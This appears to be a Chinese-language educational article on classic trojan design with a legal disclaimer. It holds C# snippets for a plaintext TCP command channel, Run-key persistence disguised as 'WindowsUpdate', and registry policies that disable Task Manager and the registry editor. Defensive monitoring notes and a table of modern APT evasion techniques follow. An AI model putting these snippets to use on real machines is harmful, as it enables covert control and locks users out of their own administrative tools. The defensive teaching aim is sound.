⚠️ 法律與道德聲明: 本文僅供**資安教育、防禦研究、惡意程式碼分析**目的。未經授權製作、散播、植入木馬程式屬違法行為 (刑法第359條、第360條、資通安全管理法等)。請嚴格遵守法律,僅在授權環境進行滲透測試與防禦驗證。
// 控制端連線
var client = new TcpClient("victim-ip", 6678);
var stream = client.GetStream();
// 發送指令碼 (ASCII/Unicode 編碼)
byte[] cmd = Encoding.ASCII.GetBytes("CMD_CODE");
stream.Write(cmd, 0, cmd.Length);
stream.Flush();
// 服務端偵聽 (背景執行緒)
var listener = new TcpListener(6678);
listener.Start();
while (true)
{
using var socket = listener.AcceptSocket();
byte[] buffer = new byte[6];
int len = socket.Receive(buffer);
string cmd = Encoding.ASCII.GetString(buffer, 0, len);
// Dispatch cmd...
}
弱點: 明文傳輸、固定埠、無認證、易被 IDS/IPS 特徵碼偵測。
using Microsoft.Win32;
// 開機自啟
var runKey = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
runKey.SetValue("WindowsUpdate", @"C:\Windows\System32\malware.exe");
// 禁用登出/關機/工作管理員/登錄編輯器...
var policies = Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System");
policies.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord);
policies.SetValue("DisableRegistryTools", 1, RegistryValueKind.DWord);
防禦: 監控 `Run`、`RunOnce`、`Policies` 等關鍵路徑變更 (Sysmon Event ID 12/13/14、EDR 註冊表回呼)。
| 傳統木馬 (原文範例) | 現代 APT/惡意代碼 |
|---|---|
| C# .NET Framework 編譯,易反編譯 (dnSpy/ILSpy) | Go/Rust/Nim 編譯原生碼、無符號表、靜態連結 |
| 固定 TCP 埠、明文協定 | DNS Tunneling、HTTPS/HTTP2/QUIC、Domain Fronting、C2 框架 |
| 註冊表持久化、檔案落地 | 無檔案、WMI/排程任務/COM 劫持/啟動資料夾/登錄鍵值多樣化 |
| 單一二進位檔 | 模組化:Loader + Payload + Plugin,動態下載、記憶體執行 |
| 基本隱藏視窗 | PPID 偽裝、Token 竊取、進程注入、PPL 繞過、EDR 繞過 |
理解木馬原理不是為了製造武器,而是為了**建立更堅固的盾**。從早期 `TcpListener` + 註冊表的腳本小子作品,到現代無檔案、模組化、對抗 EDR 的 APT 武器,攻防本質皆是**利用系統機制 (網路、檔案、註冊表、記憶體、進程) 達成未授權控制**。資安防禦者需掌握完整 ATT&CK 技術矩陣,佈建纖深防禦,才能在非對稱戰場立於不敗之地。